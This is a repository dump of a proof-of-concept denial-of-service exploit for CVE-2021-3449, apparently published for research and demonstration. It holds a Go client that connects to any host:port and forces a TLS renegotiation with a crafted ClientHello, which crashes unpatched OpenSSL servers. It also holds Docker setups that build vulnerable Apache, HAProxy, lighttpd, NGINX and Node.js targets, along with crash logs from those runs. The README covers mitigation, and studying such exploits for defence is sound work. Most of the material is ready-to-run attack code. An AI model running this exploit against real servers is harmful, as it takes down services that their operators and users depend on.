Showing preview only (231K chars total). Download the full file or copy to clipboard to get everything.
Repository: terorie/cve-2021-3449
Branch: main
Commit: 442a64fb81e9
Files: 35
Total size: 220.5 KB
Directory structure:
gitextract_ddh48f11/
├── .gitignore
├── Makefile
├── README.md
├── demo/
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Makefile
│ ├── apache-default-ssl.conf
│ ├── apache.Dockerfile
│ ├── base.Dockerfile
│ ├── haproxy.Dockerfile
│ ├── haproxy.cfg
│ ├── lighttpd-10-ssl.conf
│ ├── lighttpd.Dockerfile
│ ├── nginx.Dockerfile
│ ├── nginx.conf
│ ├── nodejs.Dockerfile
│ ├── nodejs.js
│ ├── openssl-1.1.1j.tar.gz.sha256sum
│ └── openssl.Dockerfile
├── go.mod
├── go.sum
├── main.go
└── tls/
├── alert.go
├── auth.go
├── cipher_suites.go
├── common.go
├── conn.go
├── generate_cert.go
├── handshake_client.go
├── handshake_messages.go
├── key_agreement.go
├── key_schedule.go
├── prf.go
├── ticket.go
└── tls.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/cve-2021-3449
================================================
FILE: Makefile
================================================
cve-2021-3449: main.go $(wildcard tls/*.go)
go build -o cve-2021-3449 .
export UBUNTU_VERSION
.ONESHELL:
demo-openssl: cve-2021-3449
$(MAKE) -C demo start-openssl
sleep 2
./cve-2021-3449 -host localhost:4433
$(MAKE) -C demo stop-openssl
.ONESHELL:
demo-apache: cve-2021-3449
$(MAKE) -C demo start-apache
sleep 10
./cve-2021-3449 -host localhost:443
sleep 5
$(MAKE) -C demo stop-apache
.ONESHELL:
demo-haproxy: cve-2021-3449
$(MAKE) -C demo start-haproxy
sleep 3
./cve-2021-3449 -host localhost:4433
sleep 3
$(MAKE) -C demo stop-haproxy
.ONESHELL:
demo-lighttpd: cve-2021-3449
$(MAKE) -C demo start-lighttpd
sleep 3
./cve-2021-3449 -host localhost:4433
sleep 3
$(MAKE) -C demo stop-lighttpd
.ONESHELL:
demo-nginx: cve-2021-3449
$(MAKE) -C demo start-nginx
sleep 3
./cve-2021-3449 -host localhost:4433
sleep 3
$(MAKE) -C demo stop-nginx
.ONESHELL:
demo-nodejs: cve-2021-3449
$(MAKE) -C demo start-nodejs
sleep 8
./cve-2021-3449 -host localhost:4433
sleep 3
$(MAKE) -C demo stop-nodejs
clean:
rm -f cve-2021-3449
$(MAKE) -C demo clean
================================================
FILE: README.md
================================================
# CVE-2021-3449 OpenSSL <1.1.1k DoS exploit
Usage: `go run . -host hostname:port`
This program implements a proof-of-concept exploit of CVE-2021-3449
affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.
It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation".
The attack involves a maliciously-crafted `ClientHello` that causes the server to crash
by causing a NULL pointer dereference (Denial-of-Service).
## References
- [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt)
- [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449)
- [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1)
- [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449)
- [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449)
> This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was
> developed by Peter Kästle and Samuel Sapalski from Nokia.
## Mitigation
The only known fix is to update `libssl1.1`.
Even though some applications use hardened TLS configurations by default that disable TLS renegotiation,
they are still affected by the bug if running an old OpenSSL version.
## Exploit
`main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.
The exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package.
You can find it in `handshake_client.go:115`. The logic is self-explanatory.
```go
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
```
– [@terorie](https://github.com/terorie)
## Demo
The `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL.
Test setup:
- Download and compile the vulnerable OpenSSL 1.1.1j version locally
- Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries
- Install application onto target container
- Start server and execute attack
Requirements:
- OpenSSL (on the host)
- `build-essential` (Perl, GCC, Make)
- Docker
**Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.**
| Server | Distro | Version | Demo | Result |
| -------------------------------------------- | ------------ | ------- | -------------------- | ------------- |
| [OpenSSL s_server](#openssl-simple-server) | - | 1.1.1j | `make demo-openssl` | Crash |
| [Apache2](#apache2-httpd) | Ubuntu 18.04 | 2.4.29 | `make demo-apache2` | Partial crash |
| [HAProxy](#haproxy) | Ubuntu 18.04 | 1.8.8 | `make demo-haproxy` | Crash |
| [HAProxy](#haproxy) | Ubuntu 20.04 | 2.0.13 | `make demo-haproxy` | No effect |
| [lighttpd](#lighttpd) | Ubuntu 18.04 | 1.4.55 | `make demo-lighttpd` | Crash |
| [lighttpd](#lighttpd) | Ubuntu 20.04 | 1.4.55 | `make demo-lighttpd` | Crash |
| [lighttpd](#lighttpd) | Ubuntu 21.04 | 1.4.59 | `make demo-lighttpd` | No effect with config option |
| [NGINX](#nginx) | Ubuntu 18.04 | 1.14.0 | `make demo-nginx` | Partial crash |
| [NGINX](#nginx) | Ubuntu 20.04 | 1.18.0 | `make demo-nginx` | No effect |
| Node.js <=12 | Ubuntu 18.04 | | | No effect |
| [Node.js >12](#nodejs) | Ubuntu 18.04 | ? | `make demo-nodejs` | Crash |
| [Node.js >12](#nodejs) | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs` | No effect |
To clean up all demo resources, run `make clean`.
### OpenSSL simple server
The `openssl s_server` is a minimal TLS server implementation.
* `make demo-openssl`: Full run (port 4433)
* `make -C demo build-openssl`: Build target Docker image
* `make -C demo start-openssl`: Start target at port 4433
* `make -C demo stop-openssl`: Stop target
Result: Full server crash.
**Logs**
```
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
```
### Apache2 httpd
Apache2 `httpd` web server with default configuration is vulnerable.
* `make demo-apache`: Full run (port 443)
* `make -C demo build-apache`: Build target Docker image
* `make -C demo start-apache`: Start target at port 443
* `make -C demo stop-apache`: Stop target
Thank you to [@binarytrails](https://github.com/binarytrails) for the contribution.
Result: Partial disruption, main process still alive but worker process crashed.
**Logs**
```
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &
[[truncated]]
sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2
```
### HAProxy
HAProxy versions 2.0.13 and up are not affected.
Versions before at least 1.8.8 are vulnerable with "intermediate" TLS configuration is vulnerable.
* `make demo-haproxy`: Full run (port 4433)
* `make -C demo build-haproxy`: Build target Docker image
* `make -C demo start-haproxy`: Start target at port 4433
* `make -C demo stop-haproxy`: Stop target
Tests run using master-worker mode (`-W` flag, default on Debian).
Surprisingly, the master process exits if a worker process dies.
Result: Full server crash.
**Logs**
```
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)
```
### lighttpd
lighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = "enable"` is configured in lighttpd.conf.
lighttpd web server <= 1.4.55 with "intermediate" TLS configuration is vulnerable.
* `make demo-lighttpd`: Full run (port 4433)
* `make -C demo build-lighttpd`: Build target Docker image
* `make -C demo start-lighttpd`: Start target at port 4433
* `make -C demo stop-lighttpd`: Stop target
Result: Full server crash.
**Logs**
```
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1: 7 Segmentation fault lighttpd -D -f /etc/lighttpd/lighttpd.conf
```
### NGINX
NGINX versions 1.18.0 and up are not vulnerable.
NGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io)
NGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine,
since they include the `SSL_OP_NO_RENEGOTIATION` patch:
http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html
* `make demo-nginx`: Full run (port 4433)
* `make -C demo build-nginx`: Build target Docker image
* `make -C demo start-nginx`: Start target at port 4433
* `make -C demo stop-nginx`: Stop target
Result: Partial disruption, main process still alive but worker process crashed.
**Logs**
```
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)
```
### Node.js
Node.js `https.createServer()` is vulnerable.
* `make demo-nodejs`: Full run (port 4433)
* `make -C demo build-nodejs`: Build target Docker image
* `make -C demo start-nodejs`: Start target at port 4433
* `make -C demo stop-nodejs`: Stop target
Result: Full server crash.
**Logs**
```
server started
sending initial ClientHello
connected
sending malicious ClientHello
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0 0x000000000160714e in tls1_process_sigalgs ()
#1 0x00000000016074b3 in tls1_set_server_sigalgs ()
#2 0x00000000016007dd in tls_post_process_client_hello ()
#3 0x00000000015ef692 in state_machine.part ()
#4 0x00000000015c1a6d in ssl3_read_bytes ()
#5 0x00000000015ca2c7 in ssl3_read ()
#6 0x00000000015d6491 in SSL_read ()
#7 0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8 0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9 0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF
```
## Copyright
This repository bundles the `encoding/tls` package of the Go programming language.
```
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
```
================================================
FILE: demo/.dockerignore
================================================
*
!*.so*
!openssl
!server.pem
!apache-default-ssl.conf
!haproxy.cfg
!lighttpd-10-ssl.conf
!nginx.conf
!nodejs.js
================================================
FILE: demo/.gitignore
================================================
/openssl-1.1.1j/
/openssl_dir
/openssl-1.1.1j.tar.gz
/openssl-1.1.1j.tar.gz.download
/openssl
*.pem
*.so*
================================================
FILE: demo/Makefile
================================================
CFLAGS ?= -Og -Wall
export CFLAGS
CXXFLAGS ?= -Og -Wall
export CXXFLAGS
IMAGE_PREFIX := local/cve-2021-3449
UBUNTU_VERSION ?= focal
IMAGE_INT := $(IMAGE_PREFIX)/base-$(UBUNTU_VERSION)
IMAGE_INT_REQ := build-base-$(UBUNTU_VERSION)
CONTAINER_PREFIX := cve-2021-3449
TARGETS := apache haproxy lighttpd nginx nodejs openssl
BUILD_TARGETS := $(addprefix build-, $(TARGETS))
.PHONY: $(BUILD_TARGETS)
$(BUILD_TARGETS): build-%: $(IMAGE_INT_REQ)
docker build -f $*.Dockerfile -t $(IMAGE_PREFIX)/$* --build-arg "BASE_IMAGE=$(IMAGE_INT)" .
START_TARGETS := $(addprefix start-, $(TARGETS))
.PHONY: $(START_TARGETS)
$(START_TARGETS): start-%: build-%
docker run -d -it --name $(CONTAINER_PREFIX)-$* --network host $(IMAGE_PREFIX)/$*
docker logs -f $(CONTAINER_PREFIX)-$* &
LOGS_TARGETS := $(addprefix logs-, $(TARGETS))
.PHONY: $(LOGS_TARGETS)
$(LOGS_TARGETS): logs-%:
docker logs $(CONTAINER_PREFIX)-$*
STOP_TARGETS := $(addprefix stop-, $(TARGETS))
.PHONY: $(STOP_TARGETS)
$(STOP_TARGETS): stop-%:
docker container rm -f $(CONTAINER_PREFIX)-$* || true
.PHONY: $(IMAGE_INT_REQ)
$(IMAGE_INT_REQ): libcrypto.so.1.1 libssl.so.1.1 openssl server.pem
docker build -f base.Dockerfile -t $(IMAGE_INT) --build-arg "BASE_IMAGE=ubuntu:$(UBUNTU_VERSION)" .
server.pem:
openssl req -x509 -newkey rsa:2048 -keyout ./key.pem -out ./cert.pem -days 365 -nodes -subj "/CN=dummycert/O=My Company Name/C=US"
cat key.pem cert.pem >> server.pem
rm key.pem cert.pem
.PHONY: clean
clean: $(STOP_TARGETS)
docker image rm -f $(addprefix $(IMAGE_PREFIX)/,$(TARGETS))
rm -rf ./*.pem ./*.so* ./openssl ./openssl_dir ./openssl-1.1.1j ./openssl-1.1.1j.tar.gz ./openssl-1.1.1j.tar.gz.download
openssl libcrypto.so.1.1 libssl.so.1.1: openssl_dir/Makefile
$(MAKE) -C openssl_dir -j4 apps/openssl libcrypto.so libssl.so
ln -f openssl_dir/libcrypto.so.1.1 libcrypto.so.1.1
ln -f openssl_dir/libssl.so.1.1 libssl.so.1.1
ln -f openssl_dir/apps/openssl openssl
openssl_dir/Makefile: openssl_dir/.downloaded
cd openssl_dir && ./config && $(MAKE) build_generated
openssl_dir/.downloaded: openssl-1.1.1j.tar.gz
tar -xzf openssl-1.1.1j.tar.gz
ln -sf openssl-1.1.1j openssl_dir
touch openssl_dir/.downloaded
openssl-1.1.1j.tar.gz: openssl-1.1.1j.tar.gz.download
sha256sum -c openssl-1.1.1j.tar.gz.sha256sum
ln -sf openssl-1.1.1j.tar.gz.download openssl-1.1.1j.tar.gz
openssl-1.1.1j.tar.gz.download:
curl https://www.openssl.org/source/old/1.1.1/openssl-1.1.1j.tar.gz --output openssl-1.1.1j.tar.gz.download
================================================
FILE: demo/apache-default-ssl.conf
================================================
<IfModule mod_ssl.c>
<VirtualHost 127.0.0.1:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
LogLevel info ssl:debug
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
================================================
FILE: demo/apache.Dockerfile
================================================
ARG BASE_IMAGE
FROM ${BASE_IMAGE}
WORKDIR /root
RUN DEBIAN_FRONTEND=noninteractive \
apt-get install -y apache2
COPY apache-default-ssl.conf /etc/apache2/sites-enabled/default-ssl.conf
RUN a2enmod ssl
ENTRYPOINT ["/bin/bash", "-c"]
CMD ["/usr/sbin/apachectl start && sleep 2 && tail -n+0 -f /var/log/apache2/error.log"]
================================================
FILE: demo/base.Dockerfile
================================================
# Create base system with a vulnerable OpenSSL version.
ARG BASE_IMAGE=ubuntu:bionic
FROM $BASE_IMAGE
RUN DEBIAN_FRONTEND=noninteractive \
apt-get update \
&& apt-get install -y libssl1.1 openssl gdb curl
# Patch in the vulnerable OpenSSL version.
COPY libssl.so.1.1 libcrypto.so.1.1 /usr/lib/x86_64-linux-gnu/
COPY openssl /usr/bin/
# Copy the self-signed certificate.
COPY server.pem /root/
================================================
FILE: demo/haproxy.Dockerfile
================================================
ARG BASE_IMAGE
FROM ${BASE_IMAGE}
WORKDIR /root
RUN DEBIAN_FRONTEND=noninteractive \
apt-get install -y haproxy
COPY haproxy.cfg /etc/haproxy/
ENTRYPOINT ["/bin/bash", "-c"]
CMD ["haproxy -W -f /etc/haproxy/haproxy.cfg"]
================================================
FILE: demo/haproxy.cfg
================================================
# generated 2021-03-28, Mozilla Guideline v5.6, HAProxy 2.1, OpenSSL 1.1.1j, intermediate configuration
# https://ssl-config.mozilla.org/#server=haproxy&version=2.1&config=intermediate&openssl=1.1.1j&guideline=5.6
global
# intermediate configuration
ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
ssl-default-bind-options prefer-client-ciphers no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets
ssl-default-server-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
ssl-default-server-options no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets
frontend ft_test
mode http
bind :4433 ssl crt /root/server.pem alpn h2,http/1.1
# HSTS (63072000 seconds)
http-response set-header Strict-Transport-Security max-age=63072000
================================================
FILE: demo/lighttpd-10-ssl.conf
================================================
# generated 2021-03-28, Mozilla Guideline v5.6, lighttpd 1.4.55, OpenSSL 1.1.1j, intermediate configuration
# https://ssl-config.mozilla.org/#server=lighttpd&version=1.4.55&config=intermediate&openssl=1.1.1j&guideline=5.6
$SERVER["socket"] == ":80" {
url.redirect = ("" => "https://${url.authority}${url.path}${qsa}")
}
$SERVER["socket"] == ":4433" {
ssl.engine = "enable"
ssl.pemfile = "/root/server.pem"
# intermediate configuration
ssl.openssl.ssl-conf-cmd = ("Protocol" => "ALL, -SSLv2, -SSLv3, -TLSv1, -TLSv1.1")
ssl.cipher-list = "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384"
ssl.honor-cipher-order = "disable"
# HTTP Strict Transport Security (63072000 seconds)
setenv.add-response-header = (
"Strict-Transport-Security" => "max-age=63072000"
)
}
================================================
FILE: demo/lighttpd.Dockerfile
================================================
ARG BASE_IMAGE
FROM ${BASE_IMAGE}
WORKDIR /root
RUN DEBIAN_FRONTEND=noninteractive \
apt-get install -y lighttpd
COPY lighttpd-10-ssl.conf /etc/lighttpd/conf-enabled/10-ssl.conf
ENTRYPOINT ["/bin/bash", "-c"]
CMD ["lighttpd -D -f /etc/lighttpd/lighttpd.conf && true"]
================================================
FILE: demo/nginx.Dockerfile
================================================
ARG BASE_IMAGE
FROM ${BASE_IMAGE}
WORKDIR /root
RUN DEBIAN_FRONTEND=noninteractive \
apt-get install -y nginx
COPY nginx.conf /etc/nginx/
ENTRYPOINT ["/bin/bash", "-c"]
CMD ["nginx && sleep 2 && tail -n+0 -f /var/log/nginx/error.log"]
================================================
FILE: demo/nginx.conf
================================================
user root;
pid /run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 65535;
events {
multi_accept on;
worker_connections 65535;
}
http {
charset utf-8;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
server_tokens off;
log_not_found off;
types_hash_max_size 2048;
types_hash_bucket_size 64;
client_max_body_size 16M;
# MIME
include mime.types;
default_type application/octet-stream;
# Logging
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log warn;
# SSL
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
# Mozilla Intermediate configuration
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
server {
listen 4433 ssl http2;
listen [::]:4433 ssl http2;
server_name example.com;
root /var/www/html;
# SSL
ssl_certificate /root/server.pem;
ssl_certificate_key /root/server.pem;
ssl_trusted_certificate /root/server.pem;
}
}
================================================
FILE: demo/nodejs.Dockerfile
================================================
ARG BASE_IMAGE
FROM ${BASE_IMAGE}
WORKDIR /root
RUN DEBIAN_FRONTEND=noninteractive \
curl -fsSL https://deb.nodesource.com/setup_15.x | bash - \
&& apt-get install -y nodejs
COPY nodejs.js /root/
CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/node", "/root/nodejs.js"]
================================================
FILE: demo/nodejs.js
================================================
const https = require('https');
const fs = require('fs');
const options = {
key: fs.readFileSync('server.pem'),
cert: fs.readFileSync('server.pem')
};
https.createServer(options, function (req, res) {
res.writeHead(200);
res.end("hello world\n");
}).listen(4433);
console.log("server started");
================================================
FILE: demo/openssl-1.1.1j.tar.gz.sha256sum
================================================
aaf2fcb575cdf6491b98ab4829abf78a3dec8402b8b81efc8f23c00d443981bf openssl-1.1.1j.tar.gz.download
================================================
FILE: demo/openssl.Dockerfile
================================================
ARG BASE_IMAGE
FROM ${BASE_IMAGE}
WORKDIR /root
CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/openssl", "s_server"]
================================================
FILE: go.mod
================================================
module cve_2021_3449
go 1.14
require golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2
================================================
FILE: go.sum
================================================
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w=
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68 h1:nxC68pudNYkKU6jWhgrqdreuFiOQWj1Fs7T3VrH4Pjw=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
================================================
FILE: main.go
================================================
package main
import (
"flag"
"os"
"cve_2021_3449/tls"
)
func main() {
host := flag.String("host", "", "host:port to connect to")
servername := flag.String("sni", "", "servername")
flag.Parse()
// Connect to the target, forcing TLSv1.2
conn, err := tls.Dial("tcp", *host, &tls.Config{
InsecureSkipVerify: true,
Renegotiation: tls.RenegotiateFreelyAsClient,
ServerName: *servername,
})
if err != nil {
println("failed to connect: " + err.Error())
os.Exit(1)
}
defer conn.Close()
println("connected")
// Force a TLS renegotiation per RFC 5746.
if err := conn.Handshake(); err != nil && err.Error() == "tls: handshake failure" {
println("server is not vulnerable, exploit failed")
} else if err != nil {
println("malicious handshake failed, exploit might have worked: " + err.Error())
} else {
println("malicious renegotiation successful, exploit failed")
}
}
================================================
FILE: tls/alert.go
================================================
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package tls
import "strconv"
type alert uint8
const (
// alert level
alertLevelWarning = 1
alertLevelError = 2
)
const (
alertCloseNotify alert = 0
alertUnexpectedMessage alert = 10
alertBadRecordMAC alert = 20
alertDecryptionFailed alert = 21
alertRecordOverflow alert = 22
alertDecompressionFailure alert = 30
alertHandshakeFailure alert = 40
alertBadCertificate alert = 42
alertUnsupportedCertificate alert = 43
alertCertificateRevoked alert = 44
alertCertificateExpired alert = 45
alertCertificateUnknown alert = 46
